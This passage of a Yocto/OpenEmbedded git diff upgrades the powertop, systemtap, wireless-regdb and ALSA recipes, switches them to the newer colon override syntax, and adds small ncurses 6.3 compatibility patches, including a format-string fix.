+index 5e48f37..5cd1c4a 100644
+--- a/src/lib.cpp
++++ b/src/lib.cpp
+@@ -583,7 +583,7 @@ void ui_notify_user_ncurses(const char *frmt, ...)
+ * buffer */
+ vsnprintf(notify, UI_NOTIFY_BUFF_SZ - 1, frmt, list);
+ va_end(list);
+- mvprintw(1, 0, notify);
++ mvprintw(1, 0, "%s", notify);
+ attroff(COLOR_PAIR(1));
+ }
+
diff --git a/meta/recipes-kernel/powertop/powertop_2.13.bb b/meta/recipes-kernel/powertop/powertop_2.13.bb
deleted file mode 100644
index 8c7e78fd94..0000000000
--- a/meta/recipes-kernel/powertop/powertop_2.13.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Power usage tool"
-DESCRIPTION = "Linux tool to diagnose issues with power consumption and power management."
-HOMEPAGE = "https://01.org/powertop/"
-BUGTRACKER = "https://app.devzing.com/powertopbugs/bugzilla"
-DEPENDS = "ncurses libnl pciutils autoconf-archive"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e"
-
-SRC_URI = "git://github.com/fenrus75/powertop;protocol=https \
- file://0001-wakeup_xxx.h-include-limits.h.patch \
-"
-SRCREV = "184cee06b2d64679bae5f806fe0a218827fdde99"
-
-S = "${WORKDIR}/git"
-
-inherit autotools gettext pkgconfig bash-completion
-
-# we do not want libncursesw if we can
-do_configure_prepend() {
- # configure.ac checks for delwin() in "ncursesw ncurses" so let's drop first one
- sed -i -e "s/ncursesw//g" ${S}/configure.ac
- mkdir -p ${B}/src/tuning/
- echo "${PV}" > ${S}/version-long
- echo "${PV}" > ${S}/version-short
- cp ${STAGING_DATADIR}/aclocal/ax_require_defined.m4 ${S}/m4/
-}
-
-inherit update-alternatives
-ALTERNATIVE_${PN} = "powertop"
-ALTERNATIVE_TARGET[powertop] = "${sbindir}/powertop"
-ALTERNATIVE_LINK_NAME[powertop] = "${sbindir}/powertop"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-kernel/powertop/powertop_2.14.bb b/meta/recipes-kernel/powertop/powertop_2.14.bb
new file mode 100644
index 0000000000..b46e5e8041
--- /dev/null
+++ b/meta/recipes-kernel/powertop/powertop_2.14.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Power usage tool"
+DESCRIPTION = "Linux tool to diagnose issues with power consumption and power management."
+HOMEPAGE = "https://01.org/powertop/"
+BUGTRACKER = "https://app.devzing.com/powertopbugs/bugzilla"
+DEPENDS = "ncurses libnl pciutils autoconf-archive"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e"
+
+SRC_URI = "git://github.com/fenrus75/powertop;protocol=https;branch=master \
+ file://0001-wakeup_xxx.h-include-limits.h.patch \
+ file://0001-src-fix-compatibility-with-ncurses-6.3.patch \
+ "
+SRCREV = "52f022f9bbe6e060fba11701d657a8d9762702ba"
+
+S = "${WORKDIR}/git"
+
+LDFLAGS:append = " -pthread"
+
+inherit autotools gettext pkgconfig bash-completion
+
+inherit update-alternatives
+ALTERNATIVE:${PN} = "powertop"
+ALTERNATIVE_TARGET[powertop] = "${sbindir}/powertop"
+ALTERNATIVE_LINK_NAME[powertop] = "${sbindir}/powertop"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb b/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb
index 46820ef489..2181e45a8d 100644
--- a/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb
+++ b/meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb
@@ -1,17 +1,17 @@
SUMMARY = "UProbes kernel module for SystemTap"
-
+HOMEPAGE = "https://sourceware.org/systemtap/"
require systemtap_git.inc
DEPENDS = "systemtap virtual/kernel"
# On systems without CONFIG_UTRACE, this package is empty.
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
inherit module-base gettext
FILESEXTRAPATHS =. "${FILE_DIRNAME}/systemtap:"
-FILES_${PN} += "${datadir}/systemtap/runtime/uprobes"
+FILES:${PN} += "${datadir}/systemtap/runtime/uprobes"
# Compile and install the uprobes kernel module on machines with utrace
# support. Note that staprun expects it in the systemtap/runtime directory,
diff --git a/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch b/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch
new file mode 100644
index 0000000000..1decf21593
--- /dev/null
+++ b/meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch
@@ -0,0 +1,61 @@
+From 191f528da19193d713d94ee252e2485efd9af4d3 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 17:59:24 +0200
+Subject: [PATCH] staprun: address ncurses 6.3 failures
+
+Upstream-Status: Submitted [by email to smakarov@redhat.com,systemtap@sourceware.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ staprun/monitor.c | 24 ++++++++++++------------
+ 1 file changed, 12 insertions(+), 12 deletions(-)
+
+diff --git a/staprun/monitor.c b/staprun/monitor.c
+index 478634c09..f4fbfd686 100644
+--- a/staprun/monitor.c
++++ b/staprun/monitor.c
+@@ -448,12 +448,12 @@ void monitor_render(void)
+ if (active_window == 0)
+ wattron(status, A_BOLD);
+ wprintw(status, "\n%*s\t%*s\t%*s\t%*s\t%*s\t%*s\t%s\n",
+- width[p_index], HIGHLIGHT("index", p_index, comp_fn_index),
+- width[p_state], HIGHLIGHT("state", p_state, comp_fn_index),
+- width[p_hits], HIGHLIGHT("hits", p_hits, comp_fn_index),
+- width[p_min], HIGHLIGHT("min", p_min, comp_fn_index),
+- width[p_avg], HIGHLIGHT("avg", p_avg, comp_fn_index),
+- width[p_max], HIGHLIGHT("max", p_max, comp_fn_index),
++ (int)width[p_index], HIGHLIGHT("index", p_index, comp_fn_index),
++ (int)width[p_state], HIGHLIGHT("state", p_state, comp_fn_index),
++ (int)width[p_hits], HIGHLIGHT("hits", p_hits, comp_fn_index),
++ (int)width[p_min], HIGHLIGHT("min", p_min, comp_fn_index),
++ (int)width[p_avg], HIGHLIGHT("avg", p_avg, comp_fn_index),
++ (int)width[p_max], HIGHLIGHT("max", p_max, comp_fn_index),
+ HIGHLIGHT("name", p_name, comp_fn_index));
+ if (active_window == 0)
+ wattroff(status, A_BOLD);
+@@ -466,17 +466,17 @@ void monitor_render(void)
+ json_object *probe, *field;
+ probe = json_object_array_get_idx(jso_probe_list, i);
+ json_object_object_get_ex(probe, "index", &field);
+- wprintw(status, "%*s\t", width[p_index], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_index], json_object_get_string(field));
+ json_object_object_get_ex(probe, "state", &field);
+- wprintw(status, "%*s\t", width[p_state], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_state], json_object_get_string(field));
+ json_object_object_get_ex(probe, "hits", &field);
+- wprintw(status, "%*s\t", width[p_hits], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_hits], json_object_get_string(field));
+ json_object_object_get_ex(probe, "min", &field);
+- wprintw(status, "%*s\t", width[p_min], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_min], json_object_get_string(field));
+ json_object_object_get_ex(probe, "avg", &field);
+- wprintw(status, "%*s\t", width[p_avg], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_avg], json_object_get_string(field));
+ json_object_object_get_ex(probe, "max", &field);
+- wprintw(status, "%*s\t", width[p_max], json_object_get_string(field));
++ wprintw(status, "%*s\t", (int)width[p_max], json_object_get_string(field));
+ getyx(status, discard, cur_x);
+ json_object_object_get_ex(probe, "name", &field);
+ wprintw(status, "%.*s", max_cols-cur_x-1, json_object_get_string(field));
+--
+2.20.1
+
diff --git a/meta/recipes-kernel/systemtap/systemtap_git.bb b/meta/recipes-kernel/systemtap/systemtap_git.bb
index 923d64b975..d11d9b93a2 100644
--- a/meta/recipes-kernel/systemtap/systemtap_git.bb
+++ b/meta/recipes-kernel/systemtap/systemtap_git.bb
@@ -1,9 +1,14 @@
SUMMARY = "Script-directed dynamic tracing and performance analysis tool for Linux"
+DESCRIPTION = "It provides free software infrastructure to simplify the \
+gathering of information about the running Linux system. This assists \
+diagnosis of a performance or functional problem."
HOMEPAGE = "https://sourceware.org/systemtap/"
require systemtap_git.inc
-SRC_URI += "file://0001-improve-reproducibility-for-c-compiling.patch"
+SRC_URI += "file://0001-improve-reproducibility-for-c-compiling.patch \
+ file://0001-staprun-address-ncurses-6.3-failures.patch \
+ "
DEPENDS = "elfutils"
@@ -30,46 +35,46 @@ inherit ${@bb.utils.contains('PACKAGECONFIG', 'python3-probes', 'distutils3-base
# exporter comes with python3-probes
PACKAGES =+ "${PN}-exporter"
-FILES_${PN}-exporter = "${sysconfdir}/stap-exporter/* \
+FILES:${PN}-exporter = "${sysconfdir}/stap-exporter/* \
${sysconfdir}/sysconfig/stap-exporter \
- ${systemd_unitdir}/system/stap-exporter.service \
+ ${systemd_system_unitdir}/stap-exporter.service \
${sbindir}/stap-exporter"
-RDEPENDS_${PN}-exporter = "${PN} python3-core python3-netclient"
-SYSTEMD_SERVICE_${PN}-exporter = "stap-exporter.service"
+RDEPENDS:${PN}-exporter = "${PN} python3-core python3-netclient"
+SYSTEMD_SERVICE:${PN}-exporter = "stap-exporter.service"
PACKAGES =+ "${PN}-runtime"
-FILES_${PN}-runtime = "\
+FILES:${PN}-runtime = "\
${bindir}/staprun \
${bindir}/stap-merge \
${bindir}/stapsh \
${libexecdir}/${BPN}/stapio \
"
-RDEPENDS_${PN}_class-target += "${PN}-runtime"
+RDEPENDS:${PN}:class-target += "${PN}-runtime"
PACKAGES =+ "${PN}-examples"
-FILES_${PN}-examples = "${datadir}/${BPN}/examples/"
-RDEPENDS_${PN}-examples += "${PN}"
+FILES:${PN}-examples = "${datadir}/${BPN}/examples/"
+RDEPENDS:${PN}-examples += "${PN}"
# don't complain that some examples involve bash, perl, php...
-INSANE_SKIP_${PN}-examples += "file-rdeps"
+INSANE_SKIP:${PN}-examples += "file-rdeps"
PACKAGES =+ "${PN}-python"
-FILES_${PN}-python += "\
+FILES:${PN}-python += "\
${bindir}/dtrace \
${libdir}/python*/ \
${libexecdir}/${BPN}/python/ \
"
# python material requires sdt headers
-RDEPENDS_${PN}-python += "${PN}-dev python3-core"
-INSANE_SKIP_${PN}-python += "dev-deps"
+RDEPENDS:${PN}-python += "${PN}-dev python3-core"
+INSANE_SKIP:${PN}-python += "dev-deps"
-do_configure_prepend () {
+do_configure:prepend () {
# Improve reproducibility for c++ object files
reltivepath="${@os.path.relpath(d.getVar('STAGING_INCDIR'), d.getVar('S'))}"
sed -i "s:@RELATIVE_STAGING_INCDIR@:$reltivepath:g" ${S}/stringtable.h
}
-do_install_append () {
+do_install:append () {
if [ ! -f ${D}${bindir}/stap ]; then
# translator disabled case, need to leave only minimal runtime
rm -rf ${D}${datadir}/${PN}
diff --git a/meta/recipes-kernel/systemtap/systemtap_git.inc b/meta/recipes-kernel/systemtap/systemtap_git.inc
index 56fa51d61e..22b07f1516 100644
--- a/meta/recipes-kernel/systemtap/systemtap_git.inc
+++ b/meta/recipes-kernel/systemtap/systemtap_git.inc
@@ -1,16 +1,16 @@
LICENSE = "GPLv2"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRCREV = "82b8e1a07a31bf37ed05d6ebc5162b054c0be9fd"
-PV = "4.3"
+SRCREV = "2e9f2f6967e44ce2bf8f34932b5bdd738ece2161"
+PV = "4.6"
-SRC_URI = "git://sourceware.org/git/systemtap.git \
+SRC_URI = "git://sourceware.org/git/systemtap.git;branch=master \
file://0001-Do-not-let-configure-write-a-python-location-into-th.patch \
file://0001-Install-python-modules-to-correct-library-dir.patch \
file://0001-staprun-stapbpf-don-t-support-installing-a-non-root.patch \
"
COMPATIBLE_HOST = '(x86_64|i.86|powerpc|arm|aarch64|microblazeel|mips).*-linux'
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
S = "${WORKDIR}/git"
diff --git a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2020.04.29.bb b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2020.04.29.bb
deleted file mode 100644
index 30d4cb523f..0000000000
--- a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2020.04.29.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "Wireless Central Regulatory Domain Database"
-HOMEPAGE = "https://wireless.wiki.kernel.org/en/developers/regulatory/crda"
-SECTION = "net"
-LICENSE = "ISC"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=07c4f6dea3845b02a18dc00c8c87699c"
-
-SRC_URI = "https://www.kernel.org/pub/software/network/${BPN}/${BP}.tar.xz"
-SRC_URI[sha256sum] = "89fd031aed5977c219a71501e144375a10e7c90d1005d5d086ea7972886a2c7a"
-
-inherit bin_package allarch
-
-do_install() {
- install -d -m0755 ${D}${nonarch_libdir}/crda
- install -d -m0755 ${D}${sysconfdir}/wireless-regdb/pubkeys
- install -m 0644 regulatory.bin ${D}${nonarch_libdir}/crda/regulatory.bin
- install -m 0644 sforshee.key.pub.pem ${D}${sysconfdir}/wireless-regdb/pubkeys/sforshee.key.pub.pem
-
- install -m 0644 -D regulatory.db ${D}${nonarch_base_libdir}/firmware/regulatory.db
- install -m 0644 regulatory.db.p7s ${D}${nonarch_base_libdir}/firmware/regulatory.db.p7s
-}
-
-# Install static regulatory DB in /lib/firmware for kernel to load.
-# This requires Linux kernel >= v4.15.
-# For kernel <= v4.14, inherit the kernel_wireless_regdb.bbclass
-# (in meta-networking) in kernel's recipe.
-PACKAGES = "${PN}-static ${PN}"
-RCONFLICTS_${PN} = "${PN}-static"
-
-FILES_${PN}-static = " \
- ${nonarch_base_libdir}/firmware/regulatory.db \
- ${nonarch_base_libdir}/firmware/regulatory.db.p7s \
-"
-
-# Native users might want to use the source of regulatory DB.
-# This is for example used by Linux kernel <= v4.14 and
-# kernel_wireless_regdb.bbclass in meta-networking.
-do_install_append_class-native() {
- install -m 0644 -D db.txt ${D}${libdir}/crda/db.txt
-}
-
-RSUGGESTS_${PN} = "crda"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-kernel/wireless-regdb/wireless-regdb_2021.08.28.bb b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2021.08.28.bb
new file mode 100644
index 0000000000..c673f8044c
--- /dev/null
+++ b/meta/recipes-kernel/wireless-regdb/wireless-regdb_2021.08.28.bb
@@ -0,0 +1,43 @@
+SUMMARY = "Wireless Central Regulatory Domain Database"
+HOMEPAGE = "https://wireless.wiki.kernel.org/en/developers/regulatory/crda"
+SECTION = "net"
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=07c4f6dea3845b02a18dc00c8c87699c"
+
+SRC_URI = "https://www.kernel.org/pub/software/network/${BPN}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "cff370c410d1e6d316ae0a7fa8ac6278fdf1efca5d3d664aca7cfd2aafa54446"
+
+inherit bin_package allarch
+
+do_install() {
+ install -d -m0755 ${D}${nonarch_libdir}/crda
+ install -d -m0755 ${D}${sysconfdir}/wireless-regdb/pubkeys
+ install -m 0644 regulatory.bin ${D}${nonarch_libdir}/crda/regulatory.bin
+ install -m 0644 sforshee.key.pub.pem ${D}${sysconfdir}/wireless-regdb/pubkeys/sforshee.key.pub.pem
+
+ install -m 0644 -D regulatory.db ${D}${nonarch_base_libdir}/firmware/regulatory.db
+ install -m 0644 regulatory.db.p7s ${D}${nonarch_base_libdir}/firmware/regulatory.db.p7s
+}
+
+# Install static regulatory DB in /lib/firmware for kernel to load.
+# This requires Linux kernel >= v4.15.
+# For kernel <= v4.14, inherit the kernel_wireless_regdb.bbclass
+# (in meta-networking) in kernel's recipe.
+PACKAGES = "${PN}-static ${PN}"
+RCONFLICTS:${PN} = "${PN}-static"
+
+FILES:${PN}-static = " \
+ ${nonarch_base_libdir}/firmware/regulatory.db \
+ ${nonarch_base_libdir}/firmware/regulatory.db.p7s \
+"
+
+# Native users might want to use the source of regulatory DB.
+# This is for example used by Linux kernel <= v4.14 and
+# kernel_wireless_regdb.bbclass in meta-networking.
+do_install:append:class-native() {
+ install -m 0644 -D db.txt ${D}${libdir}/crda/db.txt
+}
+
+RSUGGESTS:${PN} = "crda"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-multimedia/alsa/alsa-lib/ad8c8e5503980295dd8e5e54a6285d2d7e32eb1e.patch b/meta/recipes-multimedia/alsa/alsa-lib/ad8c8e5503980295dd8e5e54a6285d2d7e32eb1e.patch
deleted file mode 100644
index 98e2988dda..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-lib/ad8c8e5503980295dd8e5e54a6285d2d7e32eb1e.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From ad8c8e5503980295dd8e5e54a6285d2d7e32eb1e Mon Sep 17 00:00:00 2001
-From: Jaroslav Kysela <perex@perex.cz>
-Date: Thu, 22 Oct 2020 20:57:32 +0200
-Subject: [PATCH] dlmisc: the snd_plugin_dir_set / snd_plugin_dir must be
- declared even for \!DL_ORIGIN_AVAILABLE
-
-Fixes: 8580c081c2 ("dlsym: add support for ALSA_PLUGIN_DIR environment variable")
-BugLink: https://github.com/alsa-project/alsa-lib/issues/91
-Signed-off-by: Jaroslav Kysela <perex@perex.cz>
-Upstream-Status: Backport
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/dlmisc.c | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/src/dlmisc.c b/src/dlmisc.c
-index c9517c55..f20eb593 100644
---- a/src/dlmisc.c
-+++ b/src/dlmisc.c
-@@ -42,11 +42,9 @@
- #ifndef PIC
- struct snd_dlsym_link *snd_dlsym_start = NULL;
- #endif
--#ifdef DL_ORIGIN_AVAILABLE
- static int snd_plugin_dir_set = 0;
- static char *snd_plugin_dir = NULL;
- #endif
--#endif
-
- #if defined(DL_ORIGIN_AVAILABLE) && defined(HAVE_LIBPTHREAD)
- static pthread_mutex_t snd_dlpath_mutex = PTHREAD_MUTEX_INITIALIZER;
diff --git a/meta/recipes-multimedia/alsa/alsa-lib_1.2.4.bb b/meta/recipes-multimedia/alsa/alsa-lib_1.2.4.bb
deleted file mode 100644
index f38e8b94ff..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-lib_1.2.4.bb
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "ALSA sound library"
-HOMEPAGE = "http://www.alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "libs/multimedia"
-LICENSE = "LGPLv2.1 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
- file://src/socket.c;md5=285675b45e83f571c6a957fe4ab79c93;beginline=9;endline=24 \
- "
-
-SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2 \
- file://ad8c8e5503980295dd8e5e54a6285d2d7e32eb1e.patch"
-SRC_URI[sha256sum] = "f7554be1a56cdff468b58fc1c29b95b64864c590038dd309c7a978c7116908f7"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF += " \
- ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-softfloat', '', d)} \
- --disable-python \
-"
-
-PACKAGES =+ "alsa-server alsa-conf libatopology"
-
-FILES_alsa-server = "${bindir}/*"
-FILES_alsa-conf = "${datadir}/alsa/"
-FILES_libatopology = "${libdir}/libatopology.so.*"
-
-RDEPENDS_${PN}_class-target = "alsa-conf alsa-ucm-conf"
-RDEPENDS_libatopology_class-target = "alsa-topology-conf"
-
-# upgrade path
-RPROVIDES_${PN} = "libasound"
-RREPLACES_${PN} = "libasound"
-RCONFLICTS_${PN} = "libasound"
-
-RPROVIDES_${PN}-dev = "alsa-dev"
-RREPLACES_${PN}-dev = "alsa-dev"
-RCONFLICTS_${PN}-dev = "alsa-dev"
-
-RPROVIDES_alsa-conf = "alsa-conf-base"
-RREPLACES_alsa-conf = "alsa-conf-base"
-RCONFLICTS_alsa-conf = "alsa-conf-base"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/alsa/alsa-lib_1.2.6.1.bb b/meta/recipes-multimedia/alsa/alsa-lib_1.2.6.1.bb
new file mode 100644
index 0000000000..7c03287b84
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-lib_1.2.6.1.bb
@@ -0,0 +1,44 @@
+SUMMARY = "ALSA sound library"
+DESCRIPTION = "(Occasionally a.k.a. libasound) is a userspace library that \
+provides a level of abstraction over the /dev interfaces provided by the kernel modules."
+HOMEPAGE = "http://www.alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "libs/multimedia"
+LICENSE = "LGPLv2.1 & GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
+ file://src/socket.c;md5=285675b45e83f571c6a957fe4ab79c93;beginline=9;endline=24 \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "ad582993d52cdb5fb159a0beab60a6ac57eab0cc1bdf85dc4db6d6197f02333f"
+
+inherit autotools pkgconfig
+
+EXTRA_OECONF += " \
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--with-softfloat', '', d)} \
+ --disable-python \
+"
+
+PACKAGES =+ "alsa-server alsa-conf libatopology"
+
+FILES:alsa-server = "${bindir}/*"
+FILES:alsa-conf = "${datadir}/alsa/"
+FILES:libatopology = "${libdir}/libatopology.so.*"
+
+RDEPENDS:${PN}:class-target = "alsa-conf alsa-ucm-conf"
+RDEPENDS:libatopology:class-target = "alsa-topology-conf"
+
+# upgrade path
+RPROVIDES:${PN} = "libasound"
+RREPLACES:${PN} = "libasound"
+RCONFLICTS:${PN} = "libasound"
+
+RPROVIDES:${PN}-dev = "alsa-dev"
+RREPLACES:${PN}-dev = "alsa-dev"
+RCONFLICTS:${PN}-dev = "alsa-dev"
+
+RPROVIDES:alsa-conf = "alsa-conf-base"
+RREPLACES:alsa-conf = "alsa-conf-base"
+RCONFLICTS:alsa-conf = "alsa-conf-base"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/alsa/alsa-plugins_1.2.2.bb b/meta/recipes-multimedia/alsa/alsa-plugins_1.2.2.bb
deleted file mode 100644
index e8402a6fcb..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-plugins_1.2.2.bb
+++ /dev/null
@@ -1,172 +0,0 @@
-SUMMARY = "ALSA Plugins"
-HOMEPAGE = "http://alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "multimedia"
-
-# The primary license of alsa-plugins is LGPLv2.1.
-#
-# m4/attributes.m4 is licensed under GPLv2+. m4/attributes.m4 is part of the
-# build system, and doesn't affect the licensing of the build result.
-#
-# The samplerate plugin source code is licensed under GPLv2+ to be consistent
-# with the libsamplerate license. However, if the licensee has a commercial
-# license for libsamplerate, the samplerate plugin may be used under the terms
-# of LGPLv2.1 like the rest of the plugins.
-LICENSE = "LGPLv2.1 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
- file://COPYING.GPL;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://m4/attributes.m4;endline=33;md5=bb8c6b2a67ac15156961e242fec33e50 \
- file://rate/rate_samplerate.c;endline=35;md5=fd77bce85f4a338c0e8ab18430b69fae \
- "
-
-SRC_URI = "https://www.alsa-project.org/files/pub/plugins/${BP}.tar.bz2"
-SRC_URI[md5sum] = "8455e3c6fbc47f62f070afabc14ba575"
-SRC_URI[sha256sum] = "1c0f06450c928d711719686c9dbece2d480184f36fab11b8f0534cb7b41e337d"
-
-DEPENDS += "alsa-lib"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "\
- samplerate \
- speexdsp \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio', d)} \
-"
-PACKAGECONFIG[aaf] = "--enable-aaf,--disable-aaf,avtp"
-PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
-PACKAGECONFIG[libav] = "--enable-libav,--disable-libav,libav"
-PACKAGECONFIG[maemo-plugin] = "--enable-maemo-plugin,--disable-maemo-plugin"
-PACKAGECONFIG[maemo-resource-manager] = "--enable-maemo-resource-manager,--disable-maemo-resource-manager,dbus"
-PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
-PACKAGECONFIG[samplerate] = "--enable-samplerate,--disable-samplerate,libsamplerate0"
-PACKAGECONFIG[speexdsp] = "--with-speex=lib,--with-speex=no,speexdsp"
-
-PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'alsa-plugins-pulseaudio-conf', '', d)}"
-
-PACKAGES_DYNAMIC = "^libasound-module-.*"
-
-# The alsa-plugins package doesn't itself contain anything, it just depends on
-# all built plugins.
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
-
-do_install_append() {
- rm -f ${D}${libdir}/alsa-lib/*.la
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'yes', 'no', d)}" = "yes" ]; then
- # We use the example as is. Upstream installs the file under
- # /etc, but we move it under /usr/share and add a symlink under
- # /etc to be consistent with other installed configuration
- # files.
- mv ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf.example ${D}${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf
- ln -s ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf
- fi
-}
-
-python populate_packages_prepend() {
- plugindir = d.expand('${libdir}/alsa-lib/')
- packages = " ".join(do_split_packages(d, plugindir, r'^libasound_module_(.*)\.so$', 'libasound-module-%s', 'Alsa plugin for %s', extra_depends=''))
- d.setVar("RDEPENDS_alsa-plugins", packages)
-}
-
-# Many plugins have a configuration file (plus a symlink in /etc) associated
-# with them. We put the plugin and it's configuration usually in the same
-# package, but that's problematic when the configuration file is related to
-# multiple plugins, as is the case with the pulse, oss and maemo plugins. In
-# case of the pulse plugins, we have a separate alsa-plugins-pulseaudio-conf
-# package that depends on all the pulse plugins, which ensures that all plugins
-# that the configuration references are installed. The oss and maemo
-# configuration files, on the other hand, are in the respective pcm plugin
-# packages. Therefore it's possible to install the configuration file without
-# the ctl plugin that the configuration file references. This is unlikely to
-# cause big problems, but some kind of improvement to the packaging could
-# probably be done here (at least it would be good to handle the different
-# plugins in a consistent way).
-FILES_${MLPREFIX}libasound-module-ctl-arcam-av += "\
- ${datadir}/alsa/alsa.conf.d/50-arcam-av-ctl.conf \
- ${sysconfdir}/alsa/conf.d/50-arcam-av-ctl.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-a52 += "\
- ${datadir}/alsa/alsa.conf.d/60-a52-encoder.conf \
- ${sysconfdir}/alsa/conf.d/60-a52-encoder.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-alsa-dsp += "\
- ${datadir}/alsa/alsa.conf.d/98-maemo.conf \
- ${sysconfdir}/alsa/conf.d/98-maemo.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-jack += "\
- ${datadir}/alsa/alsa.conf.d/50-jack.conf \
- ${sysconfdir}/alsa/conf.d/50-jack.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-oss += "\
- ${datadir}/alsa/alsa.conf.d/50-oss.conf \
- ${sysconfdir}/alsa/conf.d/50-oss.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-speex += "\
- ${datadir}/alsa/alsa.conf.d/60-speex.conf \
- ${sysconfdir}/alsa/conf.d/60-speex.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-upmix += "\
- ${datadir}/alsa/alsa.conf.d/60-upmix.conf \
- ${sysconfdir}/alsa/conf.d/60-upmix.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-usb-stream += "\
- ${datadir}/alsa/alsa.conf.d/98-usb-stream.conf \
- ${sysconfdir}/alsa/conf.d/98-usb-stream.conf \
-"
-FILES_${MLPREFIX}libasound-module-pcm-vdownmix += "\
- ${datadir}/alsa/alsa.conf.d/60-vdownmix.conf \
- ${sysconfdir}/alsa/conf.d/60-vdownmix.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-lavrate += "\
- ${datadir}/alsa/alsa.conf.d/10-rate-lav.conf \
- ${sysconfdir}/alsa/conf.d/10-rate-lav.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-samplerate += "\
- ${datadir}/alsa/alsa.conf.d/10-samplerate.conf \
- ${sysconfdir}/alsa/conf.d/10-samplerate.conf \
-"
-FILES_${MLPREFIX}libasound-module-rate-speexrate += "\
- ${datadir}/alsa/alsa.conf.d/10-speexrate.conf \
- ${sysconfdir}/alsa/conf.d/10-speexrate.conf \
-"
-
-# The rate plugins create some symlinks. For example, the samplerate plugin
-# creates these links to the main plugin file:
-#
-# libasound_module_rate_samplerate_best.so
-# libasound_module_rate_samplerate_linear.so
-# libasound_module_rate_samplerate_medium.so
-# libasound_module_rate_samplerate_order.so
-#
-# The other rate plugins create similar links. We have to add the links to
-# FILES manually, because do_split_packages() skips the links (which is good,
-# because we wouldn't want do_split_packages() to create separate packages for
